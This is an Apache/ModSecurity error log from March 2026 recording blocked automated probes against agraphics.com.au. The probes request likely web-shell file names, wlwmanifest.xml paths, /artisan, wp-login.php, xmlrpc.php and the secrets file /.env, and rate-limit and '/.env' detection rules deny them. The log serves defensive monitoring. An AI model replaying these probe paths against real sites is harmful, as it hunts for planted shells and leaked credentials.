[Wed Mar 25 23:20:29.681148 2026] [:error] [pid 26269:tid 26287] [client 132.164.249.185:7065] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acP9PUn7e-ZQbaIs7qzJigAAAYs"]
[Wed Mar 25 23:20:30.188876 2026] [:error] [pid 25967:tid 25996] [client 132.164.249.185:7108] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acP9Pvg8Qtq7ZM4mSFmTswAAA1g"]
[Wed Mar 25 23:20:30.767102 2026] [:error] [pid 25967:tid 25980] [client 132.164.249.185:7146] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acP9Pvg8Qtq7ZM4mSFmTtwAAA0g"]
[Wed Mar 25 23:20:31.290614 2026] [proxy_fcgi:error] [pid 47989:tid 48009] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:31.557126 2026] [proxy_fcgi:error] [pid 47989:tid 48012] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:31.812562 2026] [proxy_fcgi:error] [pid 47989:tid 48013] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:32.067575 2026] [proxy_fcgi:error] [pid 47989:tid 47991] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:32.323773 2026] [proxy_fcgi:error] [pid 47989:tid 47992] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:32.578171 2026] [proxy_fcgi:error] [pid 47989:tid 48008] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:32.835904 2026] [proxy_fcgi:error] [pid 47989:tid 47995] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:33.091536 2026] [proxy_fcgi:error] [pid 47989:tid 48014] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:33.346123 2026] [proxy_fcgi:error] [pid 47989:tid 47999] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:33.609381 2026] [proxy_fcgi:error] [pid 47989:tid 47993] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:33.897947 2026] [proxy_fcgi:error] [pid 47989:tid 47994] [client 132.164.249.185:7084] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:20:34.149868 2026] [:error] [pid 47989:tid 48004] [client 132.164.249.185:7084] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx78.php"] [unique_id "acP9QiWKdJMhIccROjkX7AAAAU0"]
[Wed Mar 25 23:20:34.687143 2026] [:error] [pid 25875:tid 25900] [client 132.164.249.185:8757] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx78.php"] [unique_id "acP9QhJ38QkS3NyfshxXbwAAApM"]
[Wed Mar 25 23:20:35.214445 2026] [:error] [pid 25875:tid 25887] [client 132.164.249.185:6988] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx78.php"] [unique_id "acP9QxJ38QkS3NyfshxXcQAAAoY"]
[Wed Mar 25 23:20:35.783708 2026] [:error] [pid 25875:tid 25896] [client 132.164.249.185:8762] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx78.php"] [unique_id "acP9QxJ38QkS3NyfshxXcwAAAo8"]
[Wed Mar 25 23:20:36.291402 2026] [:error] [pid 26269:tid 26284] [client 132.164.249.185:7002] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "acP9REn7e-ZQbaIs7qzJiwAAAYg"]
[Wed Mar 25 23:20:36.824093 2026] [:error] [pid 25875:tid 25902] [client 132.164.249.185:6978] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "acP9RBJ38QkS3NyfshxXfAAAApU"]
[Wed Mar 25 23:20:37.333159 2026] [:error] [pid 47989:tid 48002] [client 132.164.249.185:7132] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "acP9RSWKdJMhIccROjkX8QAAAUs"]
[Wed Mar 25 23:20:37.840735 2026] [:error] [pid 47989:tid 48008] [client 132.164.249.185:8705] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp9.php"] [unique_id "acP9RSWKdJMhIccROjkX9QAAAVE"]
[Wed Mar 25 23:20:38.391848 2026] [:error] [pid 25875:tid 25888] [client 132.164.249.185:8790] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "acP9RhJ38QkS3NyfshxXfwAAAoc"]
[Wed Mar 25 23:20:38.919143 2026] [:error] [pid 26449:tid 26474] [client 132.164.249.185:7117] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "acP9RtpZ2T15NDqzAjGYFwAAAlU"]
[Wed Mar 25 23:20:39.425294 2026] [:error] [pid 25875:tid 25890] [client 132.164.249.185:8764] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "acP9RxJ38QkS3NyfshxXhgAAAok"]
[Wed Mar 25 23:20:39.940060 2026] [:error] [pid 25875:tid 25905] [client 132.164.249.185:7112] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "acP9RxJ38QkS3NyfshxXiQAAApg"]
[Wed Mar 25 23:20:40.446267 2026] [:error] [pid 25875:tid 25889] [client 132.164.249.185:7097] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "acP9SBJ38QkS3NyfshxXjQAAAog"]
[Wed Mar 25 23:20:40.959601 2026] [:error] [pid 25967:tid 25990] [client 132.164.249.185:7159] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "acP9SPg8Qtq7ZM4mSFmTugAAA1I"]
[Wed Mar 25 23:20:41.474820 2026] [:error] [pid 47989:tid 47999] [client 132.164.249.185:7125] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "acP9SSWKdJMhIccROjkX9wAAAUg"]
[Wed Mar 25 23:20:41.991057 2026] [:error] [pid 756:tid 869] [client 132.164.249.185:8748] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "acP9STOaW6oylMIDBCQq0wAAAJE"]
[Wed Mar 25 23:20:42.526687 2026] [:error] [pid 892:tid 895] [client 132.164.249.185:8759] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "acP9SiT_G8WMU3T3yxrpMgAAAME"]
[Wed Mar 25 23:20:43.036618 2026] [:error] [pid 26449:tid 26453] [client 132.164.249.185:7077] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "acP9S9pZ2T15NDqzAjGYGgAAAkA"]
[Wed Mar 25 23:20:43.540845 2026] [:error] [pid 26449:tid 26468] [client 132.164.249.185:8739] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "acP9S9pZ2T15NDqzAjGYGwAAAk8"]
[Wed Mar 25 23:20:44.059134 2026] [:error] [pid 25875:tid 25896] [client 132.164.249.185:7088] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "acP9TBJ38QkS3NyfshxXnwAAAo8"]
[Wed Mar 25 23:20:44.565528 2026] [:error] [pid 25875:tid 25903] [client 132.164.249.185:6985] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "acP9TBJ38QkS3NyfshxXowAAApY"]
[Wed Mar 25 23:20:45.069159 2026] [:error] [pid 26449:tid 26473] [client 132.164.249.185:7165] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "acP9TdpZ2T15NDqzAjGYHAAAAlQ"]
[Wed Mar 25 23:20:45.572266 2026] [:error] [pid 25967:tid 25983] [client 132.164.249.185:7143] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "acP9Tfg8Qtq7ZM4mSFmTwwAAA0s"]
[Wed Mar 25 23:20:46.095318 2026] [:error] [pid 25967:tid 25978] [client 132.164.249.185:7139] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/myfile.php"] [unique_id "acP9Tvg8Qtq7ZM4mSFmTxgAAA0Y"]
[Thu Mar 26 04:33:18.639950 2026] [:error] [pid 19818:tid 19832] [client 207.38.82.228:59834] [client 207.38.82.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.38.82.228, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acRGjszaSnm3d1BeM5UgEAAAAMw"]
[Thu Mar 26 04:33:18.649415 2026] [proxy_fcgi:error] [pid 19818:tid 19832] [client 207.38.82.228:59834] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 06:47:56.270407 2026] [:error] [pid 19712:tid 19781] [client 45.149.173.219:44880] [client 45.149.173.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.149.173.219, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acRmHNWhKhRNqm23vFPPlAAAAIU"]
[Thu Mar 26 06:47:56.289232 2026] [proxy_fcgi:error] [pid 19712:tid 19781] [client 45.149.173.219:44880] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 06:47:58.411306 2026] [:error] [pid 19712:tid 19788] [client 45.149.173.219:44880] [client 45.149.173.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "acRmHtWhKhRNqm23vFPPoAAAAIw"]
[Thu Mar 26 06:47:58.709110 2026] [:error] [pid 19712:tid 19791] [client 45.149.173.219:44896] [client 45.149.173.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "acRmHtWhKhRNqm23vFPPoQAAAI8"]
[Thu Mar 26 06:47:59.010714 2026] [:error] [pid 19711:tid 19767] [client 45.149.173.219:44898] [client 45.149.173.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "acRmH2j3l1y81GYfluQ2dAAAAFI"]
[Thu Mar 26 06:47:59.310260 2026] [:error] [pid 19711:tid 19753] [client 45.149.173.219:44914] [client 45.149.173.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "acRmH2j3l1y81GYfluQ2dQAAAEQ"]
[Thu Mar 26 06:47:59.606331 2026] [:error] [pid 19712:tid 19778] [client 45.149.173.219:44930] [client 45.149.173.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "acRmH9WhKhRNqm23vFPPowAAAII"]
[Thu Mar 26 06:47:59.904818 2026] [:error] [pid 19711:tid 19757] [client 45.149.173.219:44946] [client 45.149.173.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "acRmH2j3l1y81GYfluQ2egAAAEg"]
[Thu Mar 26 06:48:00.206065 2026] [:error] [pid 19711:tid 19766] [client 45.149.173.219:44954] [client 45.149.173.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "acRmIGj3l1y81GYfluQ2fAAAAFE"]
[Thu Mar 26 07:12:51.568125 2026] [:error] [pid 19818:tid 19833] [client 192.3.207.218:56363] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/artisan"] [unique_id "acRr88zaSnm3d1BeM5WNOwAAAM0"]
[Thu Mar 26 07:12:52.002920 2026] [:error] [pid 19712:tid 19787] [client 192.3.207.218:56840] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/artisan"] [unique_id "acRr9NWhKhRNqm23vFPd9gAAAIs"]
[Thu Mar 26 07:12:53.217569 2026] [:error] [pid 19818:tid 19839] [client 192.3.207.218:57323] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/artisan"] [unique_id "acRr9czaSnm3d1BeM5WNmAAAANM"]
[Thu Mar 26 07:12:53.637075 2026] [:error] [pid 19818:tid 19834] [client 192.3.207.218:57868] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/artisan"] [unique_id "acRr9czaSnm3d1BeM5WNsgAAAM4"]
[Thu Mar 26 07:12:54.495878 2026] [:error] [pid 19711:tid 19754] [client 192.3.207.218:58194] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acRr9mj3l1y81GYfluRJlwAAAEU"]
[Thu Mar 26 07:12:54.971658 2026] [:error] [pid 19711:tid 19771] [client 192.3.207.218:58884] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "acRr9mj3l1y81GYfluRJpwAAAFY"]
[Thu Mar 26 07:12:55.845798 2026] [:error] [pid 31778:tid 31805] [client 192.3.207.218:59325] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "acRr9w3kybI2o-xasmA3GQAAAcw"]
[Thu Mar 26 07:12:56.278367 2026] [:error] [pid 31670:tid 31673] [client 192.3.207.218:60281] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "acRr-DXVthXxCnWjOTQx8QAAAUE"]
[Thu Mar 26 08:26:51.208722 2026] [proxy_fcgi:error] [pid 31780:tid 31831] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:51.451037 2026] [proxy_fcgi:error] [pid 31780:tid 31827] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:51.693990 2026] [proxy_fcgi:error] [pid 31780:tid 31836] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:51.936813 2026] [proxy_fcgi:error] [pid 31780:tid 31833] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:52.179544 2026] [proxy_fcgi:error] [pid 31780:tid 31839] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:52.422947 2026] [proxy_fcgi:error] [pid 31780:tid 31835] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:52.676355 2026] [proxy_fcgi:error] [pid 31780:tid 31845] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:52.919059 2026] [proxy_fcgi:error] [pid 31780:tid 31821] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:53.163708 2026] [proxy_fcgi:error] [pid 31780:tid 31841] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:53.407097 2026] [proxy_fcgi:error] [pid 31780:tid 31822] [client 158.158.51.28:31444] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 08:26:53.646060 2026] [:error] [pid 31780:tid 31831] [client 158.158.51.28:31444] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acR9TZJDwZsy5O4ZXEi_3wAAAgo"]
[Thu Mar 26 08:26:54.127016 2026] [:error] [pid 31778:tid 31810] [client 158.158.51.28:31465] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acR9Tg3kybI2o-xasmBSsQAAAdE"]
[Thu Mar 26 08:26:54.681203 2026] [:error] [pid 31717:tid 31741] [client 158.158.51.28:31454] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acR9Tr-SCF7YDISDX499EwAAAZM"]
[Thu Mar 26 08:26:55.162357 2026] [:error] [pid 31717:tid 31729] [client 158.158.51.28:44822] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "acR9T7-SCF7YDISDX499GAAAAYc"]
[Thu Mar 26 08:26:55.695599 2026] [:error] [pid 31670:tid 31684] [client 158.158.51.28:44802] [client 158.158.51.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "acR9TzXVthXxCnWjOTRYnQAAAUw"]
